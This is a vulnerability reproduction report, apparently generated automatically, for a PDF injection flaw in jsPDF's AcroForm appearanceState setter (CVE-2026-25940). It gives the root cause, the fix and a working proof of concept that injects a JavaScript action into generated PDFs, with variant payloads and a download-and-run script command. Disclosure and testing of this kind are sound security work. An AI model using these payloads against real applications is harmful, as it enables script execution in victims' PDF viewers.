# REPRO-2026-00102: jsPDF: PDF Injection in AcroForm RadioButton allows JS Execution ## Summary Status: published Severity: high Type: security Confidence: Unknown ## Identifiers REPRO ID: REPRO-2026-00102 GHSA: GHSA-p5xg-68wr-hm3m CVE: CVE-2026-25940 ## Package Name: jspdf Ecosystem: npm Affected: < 4.2.0 Fixed: 4.2.0 ## Root Cause # Root Cause Analysis: jsPDF PDF Injection Vulnerability ## Summary jsPDF versions prior to 4.2.0 contain a PDF injection vulnerability in the AcroForm module. The `appearanceState` property setter in `AcroFormRadioButton` and `AcroFormCheckBox` classes does not properly escape user input, allowing injection of arbitrary PDF objects including JavaScript actions. An attacker can inject malicious JavaScript code that executes when a user interacts with the PDF document, specifically by manipulating the appearance state string to include additional PDF dictionary entries. ## Impact - **Package:** jsPDF (npm) - **Affected Versions:** `< 4.2.0` - **Fixed Version:** `4.2.0` - **CVE:** CVE-2026-25940 - **GHSA:** GHSA-p5xg-68wr-hm3m - **CVSS Score:** 8.1 (High) - **CVSS Vector:** CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N ### Risk Assessment This vulnerability allows an attacker to: - Inject arbitrary JavaScript code into generated PDF documents - Execute malicious scripts when victims interact with the PDF (e.g., hovering over form elements) - Potentially exfiltrate data, manipulate the PDF viewer, or perform other malicious actions ## Root Cause The vulnerability exists in the `appearanceState` property setter in `src/modules/acroform.js`: ```javascript Object.defineProperty(this, "appearanceState", { enumerable: true, configurable: true, get: function() { return _AS.substr(1, _AS.length - 1); }, set: function(value) { _AS = "/" + value; // VULNERABLE: Direct concatenation without escaping } }); ``` The setter directly concatenates user input with a "/" prefix without any validation or escaping. This allows an attacker to craft a value that: 1. Starts with a valid appearance state (e.g., "Off") 2. Contains additional PDF dictionary entries (e.g., `/AA << /E << /S /JavaScript /JS (...) >> >>`) 3. Results in a malformed but parseable PDF object ### Fix Commit The vulnerability was fixed in commit [71ad2db](https://github.com/parallax/jsPDF/commit/71ad2dbfa6c7c189ab42b855b782620fa8a38375) by: 1. Removing leading "/" if present 2. Using `pdfEscapeName()` to properly escape the input 3. Prepending "/" after escaping ```javascript set: function(value) { var name = value === undefined ? undefined : value.toString(); if (name.substr(0, 1) === "/") { name = name.substr(1); } _AS = "/" + pdfEscapeName(name); } ``` ## Reproduction Steps ### Using `repro/reproduction_steps.sh` The reproduction script performs the following steps: 1. **Clone jsPDF repository** at vulnerable version (v4.1.0) 2. **Install dependencies** (`npm install`) 3. **Create test script** that: - Creates a new PDF document with jsPDF - Adds an AcroFormRadioButton with a child option - Sets `appearanceState` to a malicious payload: `"Off /AA << /E << /S /JavaScript /JS (app.alert('XSS')) >> >>"` - Generates PDF output and checks for injected JavaScript 4. **Verify vulnerability** by checking if malicious JavaScript is present in the PDF output ### Manual Reproduction ```javascript const { jsPDF } = require('jspdf'); const doc = new jsPDF(); const group = new doc.AcroFormRadioButton(); group.x = 10; group.y = 10; group.width = 20; group.height = 10; doc.addField(group); const child = group.createOption("opt1"); child.x = 10; child.y = 10; child.width = 20; child.height = 10; // Inject malicious JavaScript action child.appearanceState = "Off /AA << /E << /S /JavaScript /JS (app.alert('XSS')) >> >>"; const pdfOutput = doc.output(); // Check: pdfOutput.contains('/AA << /E << /S /JavaScript') ``` ## Evidence ### Log Files - `/workspace/logs/reproduction.log` - Test execution output - `/workspace/logs/pdf_snippet.txt` - Excerpt showing injected JavaScript in PDF - `/workspace/logs/malicious_test.pdf` - Generated malicious PDF file ### Key Evidence Excerpts From the generated PDF (pdf_snippet.txt): ``` /AS /Off /AA << /E << /S /JavaScript /JS (app.alert('XSS')) >> >> ``` This shows the malicious JavaScript action (`/AA << /E << /S /JavaScript /JS (...) >> >>`) was successfully injected into the PDF structure. The `/AA` key represents an Annotation Appearance dictionary, `/E` represents an Enter event, and the JavaScript action is configured to execute `app.alert('XSS')` when the user hovers over the radio button. ### Test Results ``` Testing jsPDF PDF Injection Vulnerability... Version: 4.1.0 --- Vulnerability Test Results --- Malicious payload embedded: true Alert code present: true [CONFIRMED] Vulnerability exists: JavaScript payload is embedded in the PDF ``` ## Recommendations / Next Steps ### Immediate Actions 1. **Upgrade to jsPDF 4.2.0 or later** - The vulnerability is patched in v4.2.0 2. **Sanitize user input** - If immediate upgrade is not possible, validate and sanitize any user input before passing it to the `appearanceState` property ### Input Validation Pattern ```javascript // Example sanitization before the fix function sanitizeAppearanceState(value) { // Remove any PDF dictionary markers return value.replace(/\/[^\s]+/g, '').trim(); } ``` ### Testing Recommendations 1. Add regression tests that verify the `appearanceState` setter properly escapes input 2. Test with various PDF injection payloads including: - `/AA << /E << /S /JavaScript /JS (...) >> >>` (Enter event) - `/AA << /D << /S /JavaScript /JS (...) >> >>` (Down event) - Other PDF action types ### Additional Notes #### Idempotency Confirmation The reproduction script has been tested twice consecutively and produces consistent results: - First run: Successfully cloned, built, and confirmed vulnerability - Second run: Successfully used cached repository and confirmed vulnerability Both runs confirmed the vulnerability with exit code 0. #### Affected Properties Based on the fix commit and advisory, the following properties are affected: - `AcroFormRadioButton` child elements' `appearanceState` property - `AcroFormCheckBox` `AS` property Both properties use the same vulnerable setter pattern that was fixed by the `pdfEscapeName()` addition. #### Limitations - The reproduction demonstrates the injection capability; actual JavaScript execution requires opening the PDF in a viewer that supports JavaScript (e.g., Adobe Acrobat Reader) - The vulnerability requires user interaction with the malicious PDF (hovering over the form element) ## Reproduction Details Reproduced: 2026-02-19T21:14:12.247Z Duration: 1419 seconds Tool calls: 141 Turns: 128 Handoffs: 2 ## Quick Verification Run one of these commands to verify locally: pruva-verify REPRO-2026-00102 pruva-verify GHSA-p5xg-68wr-hm3m pruva-verify CVE-2026-25940 Or open in GitHub Codespaces (zero-friction, auto-runs): https://github.com/codespaces/new?ref=repro/REPRO-2026-00102&repo=N3mes1s/pruva-sandbox Or download and run the script manually: curl -O https://api.pruva.dev/v1/reproductions/REPRO-2026-00102/artifacts/repro/reproduction_steps.sh chmod +x reproduction_steps.sh ./reproduction_steps.sh WARNING: Run in a sandboxed environment. This exploits a real vulnerability. ## References - GitHub Advisory: https://github.com/advisories/GHSA-p5xg-68wr-hm3m - NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-25940 ## Artifacts - repro/rca_report.md (analysis, 6399 bytes) - repro/reproduction_steps.sh (reproduction_script, 3531 bytes) - bundle/ticket.md (ticket, 2095 bytes) - bundle/source.json (other, 4215 bytes) - bundle/ticket.json (other, 6935 bytes) - repro/test_vuln.js (other, 2746 bytes) - logs/variant_results.txt (other, 814 bytes) - logs/test_bypass_defaultvalue.js (other, 1263 bytes) - logs/test_variant4.js (other, 929 bytes) - logs/test_bypass_value.js (other, 1646 bytes) - logs/test_variant2.js (other, 959 bytes) - logs/test_variant5.js (other, 957 bytes) - logs/test_fixed_appearancestate.js (other, 1343 bytes) - logs/test_variant6.js (other, 868 bytes) - logs/variant_run.log (log, 2354 bytes) - logs/test_variant3.js (other, 863 bytes) - logs/test_variant1.js (other, 962 bytes) ## API Access - JSON: https://api.pruva.dev/v1/reproductions/REPRO-2026-00102 - Script: https://api.pruva.dev/v1/reproductions/REPRO-2026-00102/artifacts/repro/reproduction_steps.sh - Web: https://pruva.dev/r/REPRO-2026-00102 ## For AI Assistants To help users with this reproduction: 1. The `pruva-verify` command is the simplest way to run the reproduction 2. The script downloads and runs automatically in an isolated temp directory 3. Always recommend running in a VM, container, or disposable environment 4. The root cause explains the technical vulnerability --- Generated by Pruva | https://pruva.dev